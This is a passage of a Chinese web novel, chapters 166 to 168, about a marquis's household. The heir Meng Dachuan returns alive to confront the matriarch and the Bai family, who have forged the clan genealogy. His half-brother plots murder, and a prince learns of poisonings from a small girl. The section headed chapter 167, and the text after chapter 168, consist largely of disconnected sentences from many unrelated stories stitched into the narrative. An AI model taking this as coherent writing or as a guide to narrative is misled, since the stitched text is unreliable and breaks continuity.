偶尔有那么几个还记得起他大名的官员,看着邸报上的名字,也就多看了两眼,再看后面跟着的“伺农”二字,更是忍不住调侃几句,什么“这是要去种地了?”“武官转文职,倒也新鲜”。
大部分人根本就不会将他和他联系在一起,认定不过是同名同姓的另一个人罢了。
虽然是他本人亲自去吏部领的任职文书,但也只在吏部的文书处那站了一盏茶的工夫,听了一个比他年轻不少的小官吏板着脸训诫了几句——什么“到了任上要勤勉”“伺农之事关乎民生,不可懈怠”之类的场面话。
那小官吏说话的时候眼皮都不抬,压根没把他这个从五品放在眼里,也不认识他。孟大川也不恼,只是静静听着,最后领了官服,转身便回了客栈。
“大爷?哪位大爷?”侯府一应支出如今由白家承担,自然门房也由白家说了算,原先那几个老仆早就被打发得干干净净,门房换的全是白家带来的新人。那小厮上下打量着眼前这位身着跟二爷一样从五品官服的大人,不认识。
只见他仪表堂堂,生得高大魁梧,往那儿一站就跟半截铁塔似的,那双眼睛往人身上一扫,眼神凌厉得跟刀子似的,就知道是位不好相与的主。
他指名道姓要见老夫人,那口气听着就不像是来走亲戚的,倒像是来兴师问罪的。
虽然没有拜帖,他们也不敢怠慢,两人凑在一起嘀咕了几句,连忙一个温吞吞地在前头领路,一个在前面疾步奔走,跟脚底抹了油似的,往老夫人所住的松鹤院报信去了。
第一卷 第166章 上了族谱?
松鹤院里,老宋氏的床榻前,白弟城正拿捏着那几样要紧的把柄——不再为孟二泉提供银两,不再管侯府一应开支,不再让那神医来为老宋氏施针开药——用这三样做威胁,软硬兼施地磨了老半天,终于让老宋氏松了口。
老宋氏躺在床上,脸上青一阵白一阵,胸口起伏得厉害,可到底还是点了头。
白弟城心里那个得意啊,面上却不显,只催着老宋氏把那本孟氏族谱交出来。
可他早就急红了眼,完全没注意到老宋氏交出来的这本族谱虽然有做旧的痕迹,可翻开里页一看,那纸张却还是太过崭新,透着股墨香。
而且每一届族老更替的字迹,竟然没有明显的改变,看着更像是出自同一人之手,那印鉴也盖得模糊不清,根本辨不出真假。
白弟城自己的名字是没办法挤进去了——他到底还知道自己姓白,没那个脸硬往孟家祖坟上凑。但是他和老宋氏生的那个好大儿——白继祖,只改了个孟姓,就跟孟大川、孟二泉并排写在了一起。
只可惜孟大川的名字前面实在没有空隙了,插不进去,只能委屈孟继祖排在孟二泉之后,后面还特意打个括弧,自己用小楷工工整整地注明“嫡长”二字。
而孟继祖名字的下首,则又多了三个人名,写得密密麻麻的:妻:孟韦氏、子:孟大郎、孟二郎。
仿佛这样就真成了侯爷的嫡子嫡孙,真真是滑天下之大稽。若这本是真的族谱,孟家那些真正的祖宗,只怕棺材板都压不住,得气得从坟里蹦出来。
孟大川进屋的时候,见到的就是这么一副光景——白弟城跟他那血脉相连的白家儿孙们正围在一起,指着那本刚改好的族谱哈哈大笑,个个脸上都是一副如偿所愿的表情,仿佛已经看到了日后荣华富贵、吃香喝辣的好日子。
而老宋氏躺在床上,眼睛似闭不闭,脸上的肌肉抽搐着,那副表情,也不知是哭还是笑,但确实嘴角干干净净的,口水当下没见流——可见今日精神头好得很。
奸生子又如何?总算在这一刻算是侯府的人。
“侯府大爷孟大川,给老夫人请安。”孟大川既不自称儿子,也不尊称母亲,更是不似以往那般一进门就跪下去,也不往前凑。
他进门就自己拉了把椅子,背靠着那幅松鹤图,大马金刀地往主位上一坐。那双眼睛直接对上还手持“孟氏族谱”、笑得合不拢嘴的白弟城。
白弟城被这冷不丁的一声吓了一跳,还没来得及看清来人,只是那两句话的工夫,就被吓得手一抖,手上的族谱“啪嗒”一声落在地上,声音脆得很。
白继祖哪里见过这种阵仗?他心里一急,膝盖就跟不是自己的似的,一下子就软了,连忙拉着身边两个儿子“扑通”一声跪了下去,头都不敢抬。全然忘了自己已经是族谱上的“正经主子”。
他以前压根没见过孟大川,倒是见过两次侯爷——每次来见了侯爷都得下跪,跪得战战兢兢的,连大气都不敢喘。这会儿见着这位大爷,只觉得比侯爷还要吓人。
“白家表舅?”孟大川看着白弟城手忙脚乱地弯腰去捡那本族谱,然后慌慌张张地塞进了自己的袖管里,不由得阴森森一笑,只当看不见。
他也不喊白家那跪着的三个儿孙站起来,就那么让他们跪着。只是不轻不重地警告一句,“我也是回京才听闻表舅一家登堂入室,将老夫人照顾得极好。”那话说得慢条斯理的,可听着就是让人心里发毛。
这可不是什么好话。
再看向老宋氏——那老虔婆正挣扎着想坐起来,却只侧得了个身,一脸惶恐地看着他,眼睛里全是不信,跟见了鬼似的。
孟大川脸上恢复了正常的笑容,不咸不淡地道,“表舅可要把老夫人伺候好了,如若不然,哪天侯府挂白幡,人人都得守孝。”他说这话的时候,脸上笑着,眼里却一点笑意都没有。
“不然,谁都落不得好。”最后这句话他没有说出来,可在场的人个个都听得明明白白,清楚得很。三年守孝,那可是什么事都耽搁了,什么前程都别想了。
“应该的,应该的。给老夫人请的是最好的名医,自然开的也是最贵的好药。”白弟城心虚得很,伸手抹了一把额头上冒出来的虚汗,那汗珠子擦都擦不完。
也不知是不是因为孟二泉是他的亲骨肉,所以他并不真惧。
只有在侯爷和眼前这个大爷面前,他才会打心底里惊恐害怕,才会有这种被压得喘不过气来的感觉,让他几乎不敢抬头,不敢正眼看他一眼。
“你们在这杵着干嘛?不见大爷来了吗?赶紧下去。”但到底姜还是老的辣,白弟城看着自己那明明已经进了族谱的儿孙,在这正牌侯府儿孙面前,都快吓得尿湿了裤子,膝盖抖得跟筛糠似的,忍不住大声呵斥。
实在太丢他的人了,他恨不得上前一人踢他们一脚,把他们踢出去。这会儿只能摆摆手,让他们先躲出去再说。
“你~你怎么……”被强装镇定的白弟城上前搀扶了一把,终于坐直了身体的老宋氏忽然说话又不利索了,舌头跟打了结似的。她颤颤巍巍地指着孟大川,眼睛瞪得老大,这会儿是真的觉得自己是在做梦,一个醒不过来的噩梦。
“拜老夫人的补药所赐,已经彻底好了。”孟大川说这话的时候没有咬牙切齿,但“补药”和“彻底好了”这几个字咬得格外重,一字一顿的。他还站起来,在她面前走了两步,故意挥动了几下那宽大的朝服袖子,带起了一阵风。
“你……你……你……怎么可能。”老宋氏眼里淬着毒,那目光要是能杀人,孟大川在她心里早就死了八百回了,怎么可能活生生毫发无损站在她面前。
这是见了鬼吗?她满脸都是不甘,脸上的皱纹都挤到了一处,头上银丝不带一根黑的。
“怎么不可能?”孟大川冷笑一声,“只是可惜了。本来以我那战功,封侯拜相都是应当的事,因为要孝敬老夫人,现在却要去遥远的江南,继续任个从五品的小官。”
第一卷 第167章 孟大川的威胁
其他人早已经将刚刚她伤害夏沫薰的场景看在眼里,她眼中的深刻恨意,还有那双伤害夏沫薰的手。
黎绾绾看着儿子可怜巴巴的模样心就像是揪疼一样,她已经有四个多月没有见过自己的孩子,这次见面感觉他好像又长高了不少。
苏琪从最初的悲痛,慢慢缓和下来,看着蒋纪远把事情都安排好,也没多言语,让他全全做主。但蒋纪远也不敢马虎,特意让人看了日子,最后定在三后出殡,一切安排好,已是深夜十二点多。
淡淡的,轻轻的,若打在棉花里一样的声音,却字字落在了少年的心上。
“咳咳,那个,你身上没穿衣服!”墨月幽看了他半晌,他还是毫无直觉,只好摸了摸鼻子,对着他尴尬的说道。
宴灵芝说道:“今天大家都忙了一天,又有很多前辈在这里,一起大吃大喝不妥。我们现在就各自归家,消停消停。
姜沅君不由心里一动,等那人完全走过去之后,忙探身出去,正好那人微微侧身,姜沅君看清楚了他的侧脸,确定那就是林达,她的心不由砰砰砰跳了起来,心道姜艳秋和林达不会是约好在这见面吧。
“不,绝不!这场战斗刚刚打响,我怎么能够临阵脱逃呢。”老太太回答得相当决绝。
捡捡羞愧地对姜沅君道:“姑姑,对不起,我不听话闯祸了。”姜沅君拍了拍大儿子的头:“没事,你又不是有意的,下回记着人多的地方不要跑了。”捡捡乖乖地点头。
她见状赶紧疾风一般飞奔了过去,扶住了推车,顺带也挡在了宁宁的身边。
这次的战斗,表面上是和好了,实际上阿尔法狠狠扇了教廷一巴掌,这个场子教廷迟早都会找回来。这次教廷虽然吃了亏,但阿尔法也深刻体会到了教廷的强大。
第二天一早,田阳午一直将方国涣送出了苏州城,至郊外,二人这才拱手话别,方国涣自取道天元寺去了。
“刘晔!这个水靠太好了!我收下了!”奚流雁延展着身体,在水中上下游动。鲸皮水靠在身,水中阻力大减,她觉得自己好像变成了一条鱼,异常滑溜。
想想也很自然,当李夭化身宋子乔,涉及到大军作战的层次,无论唐门、五毒门、风门或者空空门,都失去了大部分作用,为了减少身份暴露的机会,任其散伙是最合理的手段。
卜元闻之,大为惊讶道:“竟有这等事,那‘玉’满堂不知换了多少人的脑子,害死了多少人,落得这般下场,也是他的报应。”说罢,摇头感叹不已。
佟士儒道:“人之善恶愚智,武习性,不见于貌,必显于气,尤如医家诊病一般,内症外测,由表知里,其实天下万物莫不如此。”韩梦超、方国涣二人,闻之叹服,敬佩不已。
第二拨克金狗号功劳,以李荣久第一——杀匪首也,吴平第二——扭战局也,秀吉第三——转成败也,布拉帕安东尼陈阿金等并列第四,至于冲锋陷阵、斩首有劳、首降有功者一一列明,不烦赘述。
山松风本则暗暗叫苦,五人轰击,虽不是全力施为,但足够迫他现身,再来几轮,风忍遁术虽善长速度,也难逃出这么多同等修为武林高手追杀。
理心很是意外,怎么还用人知道齿轮。找到这一组所有的人一问,才知道中间有个叫墨林的年轻人是这次改动的主要负责人。
不过,他也是见过大风大浪的人,稍微平复了自己的心情,目光投向高寒,却是感受到高寒更为浓厚的杀意。
李安其刚想劝说狄龙别作傻事,就算把秘笈默写给江海南,一样逃不出被灭杀下场,那料到江海南说反脸就反脸,猝然间打来两道形如实质的黑气,想出招防御己经来不及了,惟有眼睁睁的等死。
“为什么?”独孤霸欲哭无泪,自己送给他的宅院,自己在这里吃一顿饭,有这么困难?
陈星海在林诗涵家练过枪,可对于作战配合简直一塌糊涂,那懂得狙击点。
随说随着青年左转右拐,进入一办公室,关上门后,那青年在打亮了一灯打,跟着室内无声无息出现一道暗门。
再过几户人家就到老家了。这必定要途径芳芳的门口,不,不是门口,而是更近一些,是要路过她家园的院坝,真正地从他们家大门口经过。
林飞舞开始迈着猫步,慢慢的朝亚东走来,脸面上的神情看起来令人感觉到非常的寒冷。“不过什么?”亚东微微退后一步,紧张的问道。“哼。”伴随着一声冷哼,林飞舞那条婀娜多姿的美腿突然猛得朝亚东挥去。
猴子抬头去看,才发现西门狐三和他们已经拉开一段距离;便问许骨子西门狐三喝喊什么。
第一卷 第168章 试探和借力
“他好了?完全好了?”那天下朝回来,母亲就火急火燎地把他叫回了松鹤院,屏退左右说了足足一个时辰。听说孟大川没死,居然还完全好了,还敢上门炫耀威胁。
他当时是完全不信的。就算是院里看到的婆子、洒扫的丫鬟、守门的护卫,所有人都跪着赌咒发誓说了一遍,他心里也不信分毫。
但是刻意在那个小客栈对面的茶馆二楼坐了整整两个时辰,亲眼看着孟大川从楼上下来,在院中踱步,又上楼,进进出出好几回,神完气足,步履稳健,他才不得不确信——那当真是他的大哥。
虽然不是他一母同胞的亲大哥,甚至两人没有一点血缘关系。他却是安平侯府根正苗红的嫡长子——继承人,虽然还没有继承侯府爵位。
这份确信让他心底的怒火烧得更旺,几乎要将五脏六腑都焚成灰烬。
相比之下,他一个奸生子,就如茅厕边上的浊土,是见不得人的,是剽窃觊觎别人身份的硕鼠。两人一个在天上,一个在泥里,身份何止云泥之别。
他这些年费尽心机,步步为营,好容易熬到孟大川一家病的病、弱的弱,眼看就要大功告成,谁知转眼间一切都成了泡影。
京城到江南,路途虽然遥远,却全部走的是官道。沿途驿站相连,府县相接,官道上每日来往的官员、客商、驿卒络绎不绝。若是孟大川一行出了什么差池,当地官衙必然会彻查,层层上报到京城,届时他百口莫辩。
他可不想为了那点子嫁妆,把自己的性命和前程都搭进去,死得那样早那样蠢。
反正现在白家——他那个亲爹白弟城,为了达成混淆侯府血脉、以后子孙世代享受尊荣的目的,对银钱可说是有求必应,恨不得把整个家业都填进来。
他不过是口头上多开些空头银票罢了,到时神不知鬼不觉地把他们赶尽杀绝就行,又何必多此一举去拦孟大川的车队。
白弟城想得太美,真以为事成之后能和他这个亲生儿子共享富贵。如果不是为了独享侯府的尊崇和富贵,他何必要怂恿母亲对大房一家下此毒手?对白家的承诺,不过是不想自己沾染一丝弑亲的罪名,手上不亲沾兄弟的骨血而已,等尘埃落定,这些知情人一个都留不得。
眼看就要成功了,哪容那卑贱的商贾来分一杯羹。亲爹、兄弟又如何?如此低贱的至亲只能是他的污点,是他锦绣人生里最见不得人的胎记。
留在身边只能是祸端,谁知道哪天酒后失言,或是利欲熏心,会不会把当年的事大白于天下。
三皇子坐于高位指日可待,届时侯爵之位他要定了。只要他稳稳地坐在这侯府正堂,手握三皇子的信任,等日后水到渠成,再处理白家也不迟。
至于孟大川那个种了地的泥腿子,手也伸不到京城中来,且留他在江南苟延残喘些时日也无需忌惮,不过是将死之人,多活几年少活几年又有什么区别。
“江南那边无需再派人盯着,尽是浪费银钱的事。倒是白家,一点蛛丝马迹都不能放过。除了让他们拼命挣钱供着府里开销,旁的什么都不许知道。管好侯府这一亩三分地,别让人看出破绽来。”
听完孟二泉的话,两个随从垂首点头称是,脊背上已经沁出一层冷汗,小心翼翼退出门槛,领命而去。
孟二泉没想到的是:螳螂捕蝉,黄雀在后。
他自以为自己做得天衣无缝,却不知螳螂捕蝉之时,黄雀早已栖在枝头,冷眼看了许久。安平侯府里的一举一动,一砖一瓦缝隙里传出的每一句私语,全在六皇子萧执的掌控和监视之中。
暗卫每日三报,把侯府里谁进了谁出、谁在何时说了什么话、谁在夜里不经意说了胡话,事无巨细都记成密折,夜深人静时送到他案头。
自从生日宴那天,柳氏由于不甘,话里话外都是对侯府老夫人和二房的不满,更是借着跟孟大川生气,说出了一些骇人听闻的家族隐秘。
那些话旁人听了只当是疯妇胡言,萧执却句句记在心里。特别是听到连他最想护着的、原本还不到四岁的小阿沅都差点惨遭毒手,他就彻底坐不住了。
那孩子才多大?那些人怎么下得去手?
那晚他借故带小阿沅出去溜达,原是想哄她开心,谁知这孩子拉着他的手,竹筒倒豆子一般,什么都说,一点都不似平常。
他本是随口逗她想套点话,问她这些日子在府里可有人欺负她,却没想到,马上从她嘴里套出了一些隐隐约约又不太完整的话。那些话颠三倒四,却句句都带着血。
夜风吹起她额前的碎发,露出一双清澈见底的眼睛。她歪着头,像是在回忆什么,天真无邪地说:“二叔放把大火,把爹爹烧死了。”语气平淡得像是在说今天吃了什么点心,却让萧执的脚步猛地一顿。她说的二叔,是孟二泉?
还有,孟大川分明还活着,这孩子说的究竟是梦话,还是……
“对了,他还谋反,书房里有反诗。”阿沅又补了一句,凑近他的耳朵,像是怕被人听见。那小模样,好像她也不知道那反诗写了什么,只知道书房里藏了东西,她自己也说不清楚。
这个消息透出去,若是因此扳倒了三皇子,应该对眼前这位六皇子有用。
其实,孟沅在试探,也在借力,她想看值不值得。
“老虔婆给的都是毒药,想把我们全部害死。”阿沅掰着手指头数,老夫人给过什么,那些东西吃下去之后肚子有多疼,爹爹因此躺床上,她娘亲是怎么吐血的,哥哥疯了。
她说得零零碎碎,萧执却听得心惊肉跳。
“娘亲被小宋氏绑着扔进乞丐窝里了。”说起这个,阿沅的声音低了下去,像是有些害怕。其实是谁出的主意,书里没有写,她也不知道。
但是孟沅信誓旦旦,反正侯府的人一个都不能留,只要能扳倒他们,达到目的就成。小小的人儿心里装不下那么多是非曲直,只知道那些人害过她,害过她的爹娘兄长,那就该付出代价。
“好,可以去试试,不过,现在这一切都在保密阶段,尤其是我所要求的一千亿美元的融资限额,更不能让任何人知道,还请古伯伯务必替我保密。”乐凡煞有介事的说道。
一切都还莫名的时候,突然间从远处传来股强有力的气势,这气势如虹,让所有人都是忍不住震惊。
林雪像是没有听见一样,自顾自的说着,神色平静如水,就像讲述一件微不足道的事情。
她除了最开始表现出来害怕以外,全程都不曾吭过一声,就算先弄好的地方因为麻药过了疼得厉害,也都咬牙挺着。
欧阳凌镜的车是一辆宝马五系混动的汽车,车子虽然不算太贵但坐三个车还是显得很宽敞。梁善本来要坐在副驾驶的但欧阳凌镜上车时却执意要求他坐身边,考虑到对方神魂受损,受不了人气和鬼气的冲撞。梁善便也同意了。
秦天当然不知道萧敬海的想法,要是秦天知道,估计直接是一口盐水喷上去了吧。
再回祠堂已经来不及了,消失的再也回不来,韩魏想将朵儿紧紧拥抱,可拥抱的只是空气,只是一件残留下来的衣服。只是短短的一分钟,人已经彻底消失,彻底的消失。
“so,底下就有些阿猫阿狗的不服你们何总坐在那个位置上,要跟他较劲儿?”陈泰然嘴角一咧,已经猜出了个大概。
不管外界的纷纷扰扰,美美地睡上了一觉,睡饱了,感觉整个世界都变得美好了,心里也不再那么心浮气躁。
虽然这词对他们来说都不陌生,但好说是刚开始恋爱,还是保持一点点该有的距离感才好玩。
朱由检知道现在的大明王朝没有一件事情是可以大刀阔斧去做的,因为你同时面临的是好几个难题。
一颗子弹从意想不到的位置射过来,正中艾辛格的脖颈,只听“嘎嘣”一声脆响,艾辛格软软地倒在了地上。
饭后,焱门被玖辛奈拉着,让他陪着逛校园,对此,焱门自然是毫不犹豫的答应下来。
他分出意念落到线条上,便可以看到此时此刻,龙地洞内任意地点发生的事件。
随后经过了大量的计算,王秧也终于找到了他们有可能的处在的地方。
安德森看着手中的玩偶娃娃,它正融化成漆黑的液体,发出“滴嗒,滴嗒”的轻微声响,沥青一样粘稠的液体落在血泊中,在安德森的心中溅起一朵朵情绪。
雷伊斯回到租住的地方,收拾了几件衣服,又将钱和手枪藏好,与几个朋友简单告别后,早早来到码头等待客轮出港。他现在内心充满了欣喜,耐心等待着上午遇到的不知名朋友。
“我可以尝试着根据房东的描述画出纽曼夫人的画像,然后看看能不能根据画像找到人!”唐宁提议道。
贝尔纳黛缓缓拾阶而下,经过克来恩身旁,没有停下来,继续下行,但她施施然开口,语气温和而澹漠。
完全不曾想到,圣王会说出这句话,虽然只是一人开口,但此刻一人说出,其他九位圣王没有反驳,显然是元神在交流,都认定的。